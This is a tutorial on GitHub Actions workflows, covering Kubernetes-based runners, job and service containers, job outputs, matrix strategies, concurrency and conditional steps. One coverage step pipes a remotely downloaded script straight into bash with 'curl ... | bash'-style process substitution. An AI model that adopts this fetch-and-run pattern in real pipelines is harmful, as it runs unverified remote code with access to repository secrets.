oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set-controller
# Deploy a runner scale set
helm install arc-runner-set \
--namespace arc-runners --create-namespace \
-f values.yaml \
oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set
The values.yaml configures the scale set — including the GitHub organization or repository URL, authentication (via a GitHub App or PAT), and scaling boundaries:
githubConfigUrl: "https://github.com/your-org"
githubConfigSecret: arc-github-secret
minRunners: 1
maxRunners: 20
runnerScaleSetName: "arc-runner-set"
containerMode:
type: "dind" # Docker-in-Docker for container actions
template:
spec:
containers:
- name: runner
image: ghcr.io/actions/actions-runner:latest
resources:
limits:
cpu: "2"
memory: "4Gi"
With this configuration, ARC maintains at least 1 idle runner and scales up to 20 when the job queue grows. Each runner pod is ephemeral by default — it processes one job and is replaced with a fresh pod.
Use a GitHub App for ARC authentication instead of a Personal Access Token. GitHub Apps have finer-grained permissions, higher API rate limits, and don't tie runner access to an individual user account. Create one under Organization Settings → Developer settings → GitHub Apps.
Targeting ARC Runners in Workflows
ARC runners are targeted by the runnerScaleSetName you defined in your Helm values. Use that name directly in runs-on:
jobs:
build:
runs-on: arc-runner-set
steps:
- uses: actions/checkout@v4
- run: echo "Running on a Kubernetes-managed ephemeral runner"
- run: docker build -t myapp:latest .
Self-hosted runners need regular maintenance. Keep the runner application updated (GitHub auto-updates it within a few days, but verify this is working), patch the underlying OS, and rotate registration tokens. A stale runner is both a reliability and security liability.
Running Jobs in Containers and Using Service Containers
GitHub Actions runners come preloaded with common tools, but sometimes you need exact control over the environment your job runs in. The container key lets you run an entire job inside a Docker container, while services spins up sidecar containers — databases, caches, or any dependency your code needs during CI.
Together, these two features let you replicate a production-like stack right inside your workflow, without installing anything on the runner itself.
graph LR
subgraph Runner["GitHub Actions Runner (Ubuntu)"]
subgraph DockerNetwork["Docker Network"]
JC["Job Container
node:20-alpine
Your steps run here"]
PG["postgres
postgres:16
Port 5432"]
RD["redis
redis:7-alpine
Port 6379"]
end
end
JC -- "hostname: postgres
port: 5432" --> PG
JC -- "hostname: redis
port: 6379" --> RD
Running a Job Inside a Container
The container key tells GitHub Actions to pull a Docker image and execute every step of the job inside it. This is invaluable when you need a specific OS, tool version, or system library that doesn't ship on the default runner. Instead of spending workflow minutes installing dependencies, you start with an image that already has everything.
At its simplest, you just specify an image name:
jobs:
build:
runs-on: ubuntu-latest
container: node:20-alpine
steps:
- uses: actions/checkout@v4
- run: node --version # v20.x from the container
- run: npm ci && npm test
When you need more control — private registries, environment variables, volume mounts — use the expanded object syntax with all available options:
jobs:
build:
runs-on: ubuntu-latest
container:
image: ghcr.io/my-org/build-image:3.2
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GHCR_TOKEN }}
env:
NODE_ENV: test
TZ: UTC
ports:
- 8080:8080
volumes:
- /tmp/cache:/app/cache
options: --cpus 2 --memory 4g
steps:
- uses: actions/checkout@v4
- run: make build
Container Key Reference
| Property | Purpose | Example |
|---|---|---|
image | Docker image to pull and run | node:20-alpine |
credentials | Auth for private registries (username + password) | GitHub Packages, Docker Hub, ECR |
env | Environment variables set inside the container | NODE_ENV: test |
ports | Ports to map from container to host | 8080:8080 |
volumes | Bind mounts from host into the container | /tmp/data:/data |
options | Extra docker create flags | --cpus 2 --memory 4g |
The container key only works on Linux (ubuntu-*) runners. Windows and macOS runners do not support job containers because they don't run the Docker daemon in the way Actions expects.
Service Containers: Sidecar Dependencies
Most real-world test suites need more than just your application code. Integration tests hit databases, caches, and message queues. The services key lets you spin up these dependencies as Docker containers that live alongside your job and are automatically torn down when the job completes.
Each service is defined by a key name that becomes the container's hostname on the Docker network. If your job also runs inside a container (via the container key), you connect to services by that hostname and their default port — no localhost, no port mapping gymnastics.
services:
postgres:
image: postgres:16
env:
POSTGRES_USER: runner
POSTGRES_PASSWORD: secret
POSTGRES_DB: testdb
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready -U runner"
--health-interval 10s
--health-timeout 5s
--health-retries 5
redis:
image: redis:7-alpine
ports:
- 6379:6379
options: >-
--health-cmd "redis-cli ping"
--health-interval 10s
--health-timeout 5s
--health-retries 5
Networking: Container Job vs. Runner Job
How you connect to service containers depends on whether your job itself runs in a container. This distinction trips up many people, so here's the rule:
| Job runs in… | Connect to services via | Port mapping needed? |
|---|---|---|
A container (container: set) | Service key as hostname (e.g., postgres:5432) | No — containers share a Docker network |
The runner directly (no container:) | localhost with mapped ports (e.g., localhost:5432) | Yes — you must map ports |
If your job runs on the runner (no container key) and you forget to map ports with ports:, your steps won't be able to reach the service containers. Always map ports when running directly on the runner.
Complete Example: Node.js Tests with PostgreSQL and Redis
This workflow runs integration tests in a Node container with both a PostgreSQL database and a Redis cache as service containers. The job container connects to each service by hostname, and health checks ensure the databases are ready before any test step runs.
name: Integration Tests
on:
push:
branches: [main]
pull_request:
jobs:
integration-tests:
runs-on: ubuntu-latest
container:
image: node:20-alpine
services:
postgres:
image: postgres:16
env:
POSTGRES_USER: testuser
POSTGRES_PASSWORD: testpass
POSTGRES_DB: myapp_test
options: >-
--health-cmd "pg_isready -U testuser"
--health-interval 10s
--health-timeout 5s
--health-retries 5
redis:
image: redis:7-alpine
options: >-
--health-cmd "redis-cli ping"
--health-interval 10s
--health-timeout 5s
--health-retries 5
env:
DATABASE_URL: postgresql://testuser:testpass@postgres:5432/myapp_test
REDIS_URL: redis://redis:6379
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: npm ci
- name: Run database migrations
run: npx prisma migrate deploy
- name: Run integration tests
run: npm run test:integration
Key things to notice in this workflow:
DATABASE_URLusespostgres(the service key) as the hostname — notlocalhost.REDIS_URLusesredisas the hostname for the same reason.- No
portsmapping is needed because the job runs inside a container on the same Docker network. - Health check
optionsensure GitHub Actions waits until each service is ready before starting steps.
Example Without a Job Container (Running on the Runner)
When your steps run directly on the runner (no container key), you must map ports and connect via localhost. This approach is common when you need runner-installed tools like Docker CLI, specific SDKs, or browser testing frameworks.
jobs:
test:
runs-on: ubuntu-latest
# No 'container' key -- steps run on the runner
services:
postgres:
image: postgres:16
env:
POSTGRES_USER: testuser
POSTGRES_PASSWORD: testpass
POSTGRES_DB: myapp_test
ports:
- 5432:5432 # Required! Maps container port to runner
options: >-
--health-cmd "pg_isready -U testuser"
--health-interval 10s
--health-timeout 5s
--health-retries 5
env:
DATABASE_URL: postgresql://testuser:testpass@localhost:5432/myapp_test
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
- run: npm ci && npm run test:integration
Notice the two differences from the container-based approach: ports is now required on the service, and the connection string uses localhost instead of the service key name.
Health Checks: Don't Skip Them
Service containers start asynchronously. Without health checks, your steps might begin before the database is ready to accept connections — leading to flaky "connection refused" failures. The options field passes flags directly to docker create, and the health check flags are the most important ones to set.
options: >-
--health-cmd "pg_isready -U runner"
--health-interval 10s
--health-timeout 5s
--health-retries 5
--health-start-period 15s
| Flag | What it does | Recommended value |
|---|---|---|
--health-cmd | Command to test if the service is ready | Service-specific (see below) |
--health-interval | Time between health check attempts | 10s |
--health-timeout | Max time for a single check to respond | 5s |
--health-retries | Number of failures before marking unhealthy | 5 |
--health-start-period | Grace period before checks begin counting | 10s–30s for slow starters |
Common health check commands for popular services:
- PostgreSQL:
pg_isready -U <user> - MySQL:
mysqladmin ping -h 127.0.0.1 -u root - Redis:
redis-cli ping - MongoDB:
mongosh --eval "db.adminCommand('ping')" - RabbitMQ:
rabbitmq-diagnostics -q check_running
Use the YAML multi-line folding operator >- to keep long options strings readable. It joins the indented lines into a single string and strips the trailing newline.
Job Dependencies, Outputs, and Data Passing Between Jobs
By default, jobs in a GitHub Actions workflow run in parallel. That's great for speed, but most real CI/CD pipelines need ordering — you don't want to deploy before your tests pass. The needs keyword lets you declare explicit dependencies between jobs, creating a directed acyclic graph (DAG) that GitHub Actions executes in the correct order.
Beyond ordering, you'll often need to pass data from one job to another — a computed version string, a build artifact path, or a deployment URL. Job outputs combined with needs make this possible.
The needs Keyword — Sequential Chains
The simplest dependency is a linear chain: Job B waits for Job A, and Job C waits for Job B. You express this by adding needs to each downstream job, referencing the upstream job's ID.
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: echo "Building the project..."
test:
needs: build # waits for 'build' to finish
runs-on: ubuntu-latest
steps:
- run: echo "Running tests..."
deploy:
needs: test # waits for 'test' to finish
runs-on: ubuntu-latest
steps:
- run: echo "Deploying..."
This creates the chain build → test → deploy. Each job only starts after its dependency completes successfully.
Diamond Dependency Patterns
Real pipelines often fan out and then converge. A common pattern is: build first, then run tests and lint in parallel, and finally deploy only when both pass. You achieve this by passing an array to needs.
jobs:
build:
runs-on: ubuntu-latest
steps:
- run: echo "Compiling application..."
test:
needs: build
runs-on: ubuntu-latest
steps:
- run: echo "Running unit tests..."
lint:
needs: build
runs-on: ubuntu-latest
steps:
- run: echo "Running linter..."
deploy:
needs: [test, lint] # waits for BOTH test and lint
runs-on: ubuntu-latest
steps:
- run: echo "Deploying to production..."
Here, test and lint both depend on build, so they run in parallel once the build finishes. The deploy job lists both as dependencies and will only start when both succeed. This is the "diamond" pattern.
graph TD
A["🔨 build"] -->|"artifact_path, version"| B["🧪 test"]
A -->|"artifact_path"| C["🔍 lint"]
B -->|"test_result"| D["🚀 deploy"]
C -->|"lint_passed"| D
style A fill:#4a90d9,color:#fff,stroke:#3a7bc8
style B fill:#6c5ce7,color:#fff,stroke:#5b4bd5
style C fill:#6c5ce7,color:#fff,stroke:#5b4bd5
style D fill:#00b894,color:#fff,stroke:#00a383
Failure Behavior — Skipped Jobs and Overrides
When a job in the needs chain fails, all downstream jobs are skipped by default. If build fails in the diamond above, then test, lint, and deploy are all skipped — they won't even attempt to run. This is usually what you want, but sometimes you need a cleanup or notification job to run regardless.
notify:
needs: [test, lint, deploy]
if: always() # runs even if dependencies fail or are skipped
runs-on: ubuntu-latest
steps:
- run: echo "Workflow finished. Sending notification..."
| Condition | When the job runs |
|---|---|
if: always() | Always — even if dependencies failed or were skipped |
if: success() | Only if all dependencies succeeded (this is the default) |
if: failure() | Only if at least one dependency failed |
if: cancelled() | Only if the workflow was cancelled |
Using if: always() means the job runs even when the workflow is cancelled. If you only want to handle failures (but still respect cancellation), use if: !cancelled() instead — it runs on both success and failure but skips on cancellation.
Defining Job Outputs
Each job runs on a fresh runner, so variables from one job don't magically appear in another. To share data between jobs, you define job-level outputs — named values that downstream jobs can read via the needs context.
The mechanism has two parts: a step writes a value to $GITHUB_OUTPUT, and the job maps that step output to a job output. The downstream job then reads it via needs.<job_id>.outputs.<name>.
jobs:
build:
runs-on: ubuntu-latest
# 1. Declare outputs at the job level
outputs:
version: ${{ steps.version_step.outputs.version }}
artifact_path: ${{ steps.build_step.outputs.artifact_path }}
steps:
- uses: actions/checkout@v4
# 2. Set output values from steps using $GITHUB_OUTPUT
- name: Determine version
id: version_step
run: |
VERSION="1.2.$(date +%s)"
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
- name: Build project
id: build_step
run: |
ARTIFACT="dist/app-${{ steps.version_step.outputs.version }}.tar.gz"
echo "artifact_path=$ARTIFACT" >> "$GITHUB_OUTPUT"
The $GITHUB_OUTPUT environment variable points to a file on the runner. Writing key=value lines to it makes those key-value pairs available as step outputs. This replaced the deprecated ::set-output workflow command as of October 2022.
Consuming Outputs in Dependent Jobs
A downstream job accesses the outputs through the needs context. The syntax is needs.<job_id>.outputs.<output_name>. The job must list the producing job in its needs array — you can't access outputs from a job you don't depend on.
deploy:
needs: build
runs-on: ubuntu-latest
steps:
- name: Show received outputs
run: |
echo "Deploying version: ${{ needs.build.outputs.version }}"
echo "Artifact location: ${{ needs.build.outputs.artifact_path }}"
Complete Example — Diamond Pattern with Data Passing
Here's a full workflow combining everything: a diamond dependency graph where the build job produces outputs consumed by the test, lint, and deploy jobs. Each parallel job also produces its own output that the final deploy job reads.
name: Build, Test, Lint & Deploy
on:
push:
branches: [main]
jobs:
# ── Stage 1: Build ──────────────────────────────
build:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.meta.outputs.version }}
sha_short: ${{ steps.meta.outputs.sha_short }}
steps:
- uses: actions/checkout@v4
- name: Generate build metadata
id: meta
run: |
echo "version=2.1.$(date +%Y%m%d%H%M)" >> "$GITHUB_OUTPUT"
echo "sha_short=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
- name: Build
run: echo "Building version ${{ steps.meta.outputs.version }}..."
# ── Stage 2a: Test (parallel) ───────────────────
test:
needs: build
runs-on: ubuntu-latest
outputs:
test_result: ${{ steps.run_tests.outputs.result }}
steps:
- uses: actions/checkout@v4
- name: Run test suite
id: run_tests
run: |
echo "Testing version ${{ needs.build.outputs.version }}..."
echo "result=passed" >> "$GITHUB_OUTPUT"
# ── Stage 2b: Lint (parallel) ───────────────────
lint:
needs: build
runs-on: ubuntu-latest
outputs:
lint_passed: ${{ steps.run_lint.outputs.clean }}
steps:
- uses: actions/checkout@v4
- name: Run linter
id: run_lint
run: |
echo "Linting at commit ${{ needs.build.outputs.sha_short }}..."
echo "clean=true" >> "$GITHUB_OUTPUT"
# ── Stage 3: Deploy (after both pass) ───────────
deploy:
needs: [build, test, lint]
runs-on: ubuntu-latest
steps:
- name: Deploy
run: |
echo "=== Deployment Summary ==="
echo "Version: ${{ needs.build.outputs.version }}"
echo "Commit: ${{ needs.build.outputs.sha_short }}"
echo "Tests: ${{ needs.test.outputs.test_result }}"
echo "Lint clean: ${{ needs.lint.outputs.lint_passed }}"
echo "Deploying to production..."
# ── Always: Notify ──────────────────────────────
notify:
needs: [build, test, lint, deploy]
if: always()
runs-on: ubuntu-latest
steps:
- name: Send notification
run: |
echo "Build version: ${{ needs.build.outputs.version }}"
echo "Build result: ${{ needs.build.result }}"
echo "Test result: ${{ needs.test.result }}"
echo "Lint result: ${{ needs.lint.result }}"
echo "Deploy result: ${{ needs.deploy.result }}"
Inside an if: always() job, you can inspect needs.<job>.result to check the outcome of each dependency. The value is one of success, failure, cancelled, or skipped — useful for conditional notification messages.
Output Limitations and Gotchas
String-only values
Job outputs are always strings. If you need to pass structured data like JSON, serialize it in the producing step and parse it in the consuming step. Use fromJSON() in expressions to deserialize.
# Producer: serialize JSON to an output
- name: Build matrix
id: matrix
run: |
echo 'targets=["linux","macos","windows"]' >> "$GITHUB_OUTPUT"
# Consumer: deserialize with fromJSON()
strategy:
matrix:
os: ${{ fromJSON(needs.setup.outputs.targets) }}
Size limit
Each output has a 1 MB size limit. For larger data — compiled binaries, test reports, coverage files — use actions/upload-artifact and actions/download-artifact instead of outputs. Outputs are for small metadata like version strings, flags, and short file paths.
Matrix Strategies: Multi-Dimensional Testing
A single CI job that tests one configuration gives you a false sense of security. Your code might pass on Node.js 20 but break on 18, work on Ubuntu but fail on Windows. The strategy.matrix keyword lets you define multiple variable dimensions, and GitHub Actions automatically spawns a separate job for every combination — without you duplicating a single line of YAML.
A Simple One-Dimensional Matrix
The most common use case is testing across multiple runtime versions. Instead of writing three separate jobs, you define a matrix with a single variable and reference it in your steps.
jobs:
test:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [18, 20, 22]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- run: npm ci
- run: npm test
This spawns three parallel jobs: one for Node 18, one for 20, and one for 22. Each job gets its own runner and reports status independently. The variable name node-version is arbitrary — you choose it. You access its current value with ${{ matrix.node-version }}.
Multi-Dimensional Matrices
The real power shows up when you add a second (or third) dimension. GitHub Actions computes the Cartesian product of all dimensions — every combination of every variable gets its own job. This is how you test across platforms, runtimes, and dependencies simultaneously.
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
database: [postgres, mysql]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- run: npm ci
- run: npm test
env:
DB_ENGINE: ${{ matrix.database }}
This produces 3 × 3 × 2 = 18 jobs. Each job gets a unique combination: ubuntu-latest + Node 18 + postgres, windows-latest + Node 22 + mysql, and so on. Notice how matrix.os drives the runs-on value itself — the runner OS becomes a matrix dimension.
A single matrix can generate a maximum of 256 jobs per workflow run. If your Cartesian product exceeds this, the workflow will fail to start. Keep dimensions reasonable or use include/exclude to trim combinations.
Excluding Specific Combinations
Not every combination makes sense. Maybe you don't support MySQL on Windows, or Node 18 has a known issue on macOS. The exclude key removes specific intersections from the generated matrix without affecting the rest.
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
exclude:
- os: windows-latest
node-version: 18
- os: macos-latest
node-version: 18
The original 3 × 3 = 9 combinations drop to 7 jobs. The two excluded pairs — Windows + Node 18 and macOS + Node 18 — are silently removed. You only need to specify enough keys to match the combinations you want to drop; unspecified keys act as wildcards within that exclude entry.
Including Extra Combinations
include is the inverse of exclude — it adds specific combinations to the matrix, optionally with extra variables that only apply to those entries. This is powerful for one-off configurations that don't fit neatly into a Cartesian grid.
strategy:
matrix:
os: [ubuntu-latest, windows-latest]
node-version: [18, 20]
include:
# Add an experimental Node 22 job on Ubuntu only
- os: ubuntu-latest
node-version: 22
experimental: true
# Attach extra variables to an existing combination
- os: windows-latest
node-version: 20
npm-cache: 'C:
pm-cache'
The first include entry adds a brand-new combination (Ubuntu + Node 22) with a bonus variable experimental. The second entry matches an existing combination (Windows + Node 20) and attaches the npm-cache variable to it. You can then use ${{ matrix.experimental }} or ${{ matrix.npm-cache }} in your steps — they'll be empty strings for jobs where they weren't set.
Using include as a Standalone List
When you use include without any dimension arrays, the matrix becomes a flat list of explicitly defined configurations. This is useful when your combinations don't follow any grid pattern.
strategy:
matrix:
include:
- os: ubuntu-latest
node-version: 22
target: linux-x64
- os: macos-latest
node-version: 20
target: darwin-arm64
- os: windows-latest
node-version: 20
target: win-x64
This produces exactly 3 jobs — no Cartesian product, no surprises. Each entry is a completely independent configuration with its own set of variables.
Controlling Failure Behavior with fail-fast
By default, fail-fast is true. When any matrix job fails, GitHub Actions cancels all other in-progress jobs in that matrix. This saves CI minutes but can hide multiple independent failures.
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
Setting fail-fast: false lets every job run to completion regardless of failures. This is the right choice when you want a full compatibility report — for example, understanding exactly which OS/version pairs are broken before you start fixing things.
| Setting | Behavior | Best For |
|---|---|---|
fail-fast: true (default) | Cancels remaining jobs on first failure | Fast feedback on PRs, saving CI minutes |
fail-fast: false | All jobs run to completion | Full compatibility reports, release validation |
Throttling Parallelism with max-parallel
An 18-job matrix all launching at once can overwhelm shared resources — a staging database, an API with rate limits, or your self-hosted runner pool. The max-parallel key caps how many matrix jobs run simultaneously.
strategy:
max-parallel: 3
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
With max-parallel: 3, only three of the nine jobs run at a time. As one finishes, the next queued job starts. This is also useful for staying within GitHub's concurrency limits on free-tier accounts.
Accessing Matrix Values in Steps
Every matrix variable is available through the matrix context. You can use these values in run commands, with inputs, env variables, conditional expressions — anywhere that accepts expressions.
steps:
- uses: actions/checkout@v4
- name: Setup Node ${{ matrix.node-version }}
uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- name: Run tests
run: npm test
env:
CI_OS: ${{ matrix.os }}
CI_NODE: ${{ matrix.node-version }}
- name: Upload coverage
if: matrix.os == 'ubuntu-latest' && matrix.node-version == 22
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage/
Notice the if conditional on the last step — it uses matrix values to run the coverage upload only on a single specific combination. This pattern is common: run the full test suite everywhere, but perform expensive post-processing on just one representative job.
Practical Example: Cross-Platform Build & Test
Here's a production-ready workflow that combines everything — multi-dimensional matrix, include for platform-specific details, exclusions, fail-fast control, and conditional steps.
name: Cross-Platform CI
on:
push:
branches: [main]
pull_request:
jobs:
build-and-test:
name: Node ${{ matrix.node-version }} on ${{ matrix.os }}
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
max-parallel: 6
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
node-version: [18, 20, 22]
exclude:
- os: macos-latest
node-version: 18
include:
- os: ubuntu-latest
node-version: 22
coverage: true
- os: windows-latest
node-version: 20
shell-cmd: pwsh
steps:
- uses: actions/checkout@v4
- name: Setup Node.js ${{ matrix.node-version }}
uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
cache: npm
- name: Install dependencies
run: npm ci
- name: Run linter
run: npm run lint
- name: Run tests
run: npm test
- name: Generate coverage
if: matrix.coverage == true
run: npm run test:coverage
- name: Upload coverage artifact
if: matrix.coverage == true
uses: actions/upload-artifact@v4
with:
name: coverage-node-${{ matrix.node-version }}-${{ matrix.os }}
path: coverage/
Always set a descriptive name using matrix variables, like Node ${{ matrix.node-version }} on ${{ matrix.os }}. Without this, the GitHub Actions UI shows generic job names that make it hard to identify which combination failed.
Dynamic Matrix from a Previous Job
For advanced use cases, you can generate matrix values dynamically. A preparatory job computes the matrix as JSON, and the test job consumes it via fromJSON(). This lets you adjust the matrix based on changed files, feature flags, or external configuration.
jobs:
prepare:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- id: set-matrix
run: |
echo 'matrix={"node-version":[18,20,22],"os":["ubuntu-latest","windows-latest"]}' \
>> "$GITHUB_OUTPUT"
test:
needs: prepare
runs-on: ${{ matrix.os }}
strategy:
matrix: ${{ fromJSON(needs.prepare.outputs.matrix) }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: ${{ matrix.node-version }}
- run: npm ci && npm test
The prepare job outputs a JSON string defining the matrix dimensions. The test job parses that JSON with fromJSON() and uses it as its strategy matrix. You can replace the hardcoded echo with a script that reads from a config file, queries an API, or inspects the changed files in the PR.
The JSON output from fromJSON() must be a valid matrix object. If the JSON is malformed or the output is empty, the workflow will fail with a cryptic error. Always validate your JSON in the prepare step with echo "$matrix" | jq . before setting the output.
Concurrency Control and Conditional Execution
As your CI/CD pipelines grow, you'll face two recurring problems: redundant workflow runs piling up and jobs that should only execute under specific conditions. GitHub Actions addresses both with the concurrency key and the if conditional. Together, they give you fine-grained control over when and how many workflow runs are active at once.
Concurrency Groups
A concurrency group is a string identifier that tells GitHub Actions: "only one run with this label should be active at a time." When a new run enters a group that already has an active run, it either queues (waiting for the first to finish) or cancels the in-progress run, depending on your configuration.
The group name is an arbitrary string, but it becomes powerful when you use expressions to make it dynamic. A common pattern scopes concurrency to a specific branch and workflow combination, so pushes to main don't interfere with pushes to feature/login.
# Workflow-level concurrency
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
on:
push:
branches: [main, develop]
pull_request:
In this example, the group name resolves to something like CI-refs/heads/main. Every push to the same branch enters the same group. With cancel-in-progress: true, a new push automatically cancels any run that's already underway — no more wasted minutes on stale commits.
The cancel-in-progress Option
When cancel-in-progress is false (the default), a new run queues behind the active one. The pending run waits until the current run completes, then starts. When set to true, the active run is immediately cancelled and the new run takes its place.
GitHub Actions only queues one pending run per concurrency group. If a third run arrives while one is active and one is already pending, the pending run is cancelled and replaced by the newest one. This means rapid-fire pushes result in only the latest commit being tested.
How Concurrency Groups Behave
The following diagram illustrates what happens when a new workflow run enters a concurrency group that already has an active run, with cancel-in-progress: true.
stateDiagram-v2
[*] --> NewRunArrives
NewRunArrives --> CheckGroup: Evaluate group name
CheckGroup --> StartRun: Group is idle
CheckGroup --> CancelOldRun: Group has active run
(cancel-in-progress = true)
CheckGroup --> QueueRun: Group has active run
(cancel-in-progress = false)
CancelOldRun --> StartRun: Old run cancelled
QueueRun --> WaitForCompletion: Pending (max 1 queued)
WaitForCompletion --> StartRun: Active run finishes
StartRun --> [*]: Run completes
Workflow-Level vs Job-Level Scoping
You can place the concurrency key at two levels: at the workflow level (top of the YAML file) or at the job level (inside a specific job). The scope determines what gets cancelled or queued.
Applies to the entire workflow run. If a new run enters the same group, the whole previous run (all its jobs) is cancelled or queued.
# Top of workflow file
concurrency:
group: deploy-${{ github.ref }}
cancel-in-progress: false
jobs:
build:
runs-on: ubuntu-latest
steps: # ...
deploy:
needs: build
runs-on: ubuntu-latest
steps: # ...
Use workflow-level concurrency for deployments where you want sequential execution — ensuring only one deploy to production happens at a time.
Applies to a single job within the workflow. Other jobs in the same workflow run are unaffected. Different jobs can even belong to different concurrency groups.
jobs:
test:
runs-on: ubuntu-latest
# Tests can run in parallel — no concurrency limit
steps: # ...
deploy:
needs: test
runs-on: ubuntu-latest
concurrency:
group: deploy-production
cancel-in-progress: false
steps: # ...
This pattern lets tests run freely while serializing only the deploy job. It's ideal when builds are fast but deploys must not overlap.
Conditional Execution with if
The if key controls whether a job or step runs based on a boolean expression. It's evaluated before the job or step starts, and if the expression resolves to false, the job/step is skipped entirely — no runner minutes consumed.
One syntactic detail trips up many newcomers: if expressions have implicit ${{ }} wrapping. You can write the expression directly without the expression syntax. Both of these are equivalent:
# These two are equivalent:
if: github.ref == 'refs/heads/main'
if: ${{ github.ref == 'refs/heads/main' }}
When you use explicit ${{ }} in an if, the expression is evaluated to a string first, then cast to boolean. This can cause unexpected results with string comparisons. The implicit form is safer for simple conditions; use ${{ }} only when you need to embed expressions inside a larger string or force type coercion.
Status Check Functions
GitHub Actions provides four built-in functions that check the result of previous steps or jobs. They're essential for building pipelines that respond to failures, handle cleanup, or gate deployments on success.
| Function | Returns true when… | Default? |
|---|---|---|
success() | All previous steps have succeeded (no failures, no cancellations) | Yes — applied implicitly if you omit if |
failure() | Any previous step failed | No |
cancelled() | The workflow was cancelled (e.g., by a user or concurrency cancellation) | No |
always() | Always — the step runs regardless of success, failure, or cancellation | No |
The critical thing to understand is that every job and step has an implicit if: success() unless you override it. This means that by default, once a step fails, all subsequent steps are skipped. You override this by using one of the other status functions.
steps:
- name: Run tests
id: tests
run: npm test
- name: Upload coverage (only on success)
if: success()
run: bash <(curl -s https://codecov.io/bash)
- name: Notify on failure
if: failure()
run: |
curl -X POST "$SLACK_WEBHOOK" \
-d '{"text":"Tests failed on ${{ github.ref }}"}'
- name: Cleanup temp files
if: always()
run: rm -rf ./tmp
Combining Conditions
Real-world workflows often need compound conditions. You combine expressions with && (and), || (or), and ! (not). You can also mix status check functions with context-based checks to build precise gates.
# Deploy only on main branch AND only if tests passed
deploy:
needs: test
if: success() && github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps: # ...
# Run cleanup even on failure, but NOT on cancellation
- name: Post-test cleanup
if: success() || failure()
run: docker compose down
# Skip a step for pull requests from forks
- name: Push to registry
if: github.event.pull_request.head.repo.full_name == github.repository
run: docker push myapp:latest
Common Patterns
Here are battle-tested patterns you'll reach for repeatedly when wiring up conditional logic in your workflows.
| Pattern | Expression | Use Case |
|---|---|---|
| Run only on main | github.ref == 'refs/heads/main' | Deploy steps, release publishing |
| Skip for Dependabot | github.actor != 'dependabot[bot]' | Avoid running expensive jobs on dependency bumps |
| Run on tag push | startsWith(github.ref, 'refs/tags/') | Trigger releases from version tags |
| Conditional on label | contains(github.event.pull_request.labels.*.name, 'deploy') | Gate preview deploys behind a PR label |
| Always cleanup | always() | Tear down infrastructure, close DB connections |
| Notify on failure only | failure() && github.ref == 'refs/heads/main' | Alert the team when the main branch breaks |
The always() function forces a step to run even when the workflow is cancelled. This is exactly what you want for cleanup tasks like removing cloud resources, but it can be annoying for non-critical steps. Prefer success() || failure() when you want "run on any outcome except cancellation."
Steps: Running Commands and Using Actions
Every job is made up of steps — the individual units of work that execute sequentially inside a runner. A step is either a shell command you write inline (run) or a reusable action you pull in (uses). Understanding both types and the options you can attach to any step is essential for building effective workflows.
Run Steps: Inline Shell Commands
A run step executes one or more shell commands directly on the runner. For a single command, just pass a string:
steps:
- name: Check Node version
run: node --version
When you need to run several commands in sequence, use the YAML block scalar | (literal block). Each line becomes a separate command in the same shell session, so variables and state carry over between lines:
steps:
- name: Build and test
run: |
npm ci
npm run build
npm test
If your project keeps source code in a subdirectory, use working-directory to change the shell's starting directory for that step. This avoids littering your commands with cd calls:
steps:
- name: Install backend dependencies
run: pip install -r requirements.txt
working-directory: ./backend
On Linux and macOS runners, run steps use bash with set -eo pipefail by default — meaning the step fails immediately on any non-zero exit code. On Windows, the default shell is pwsh (PowerShell Core). You can override this per-step or per-job with the shell key.
Uses Steps: Referencing Actions
A uses step runs a pre-built action instead of raw shell commands. Actions are the main reuse mechanism in GitHub Actions — they encapsulate complex logic (checking out code, setting up runtimes, deploying) into a single step you configure with with inputs.
Public actions from the Marketplace
Reference public actions in the format owner/repo@ref, where ref is a tag, branch, or commit SHA:
steps:
- name: Check out repository
uses: actions/checkout@v4
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
Docker container actions
You can run a step inside a Docker image pulled from a registry. This is useful when you need a specific tool or environment that isn't pre-installed on the runner:
steps:
- name: Run a PostgreSQL migration tool
uses: docker://flyway/flyway:10
with:
args: migrate -url=jdbc:postgresql://db:5432/app
Local actions
If you have a custom action defined inside your own repository, reference it with a relative path starting with ./. The action must contain an action.yml file at that path:
steps:
- name: Check out repository
uses: actions/checkout@v4
- name: Run custom linter
uses: ./.github/actions/custom-linter
with:
config-file: '.lintrc.yml'
Pinning actions to a commit SHA
Version tags like @v4 are convenient but mutable — the action maintainer can move a tag to point to different code. For security-critical workflows (especially in production pipelines), pin to the full 40-character commit SHA instead. This guarantees the exact code you've audited is what runs:
steps:
# Pinned to actions/checkout v4.1.7 — verified 2024-06-20
- name: Check out repository
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
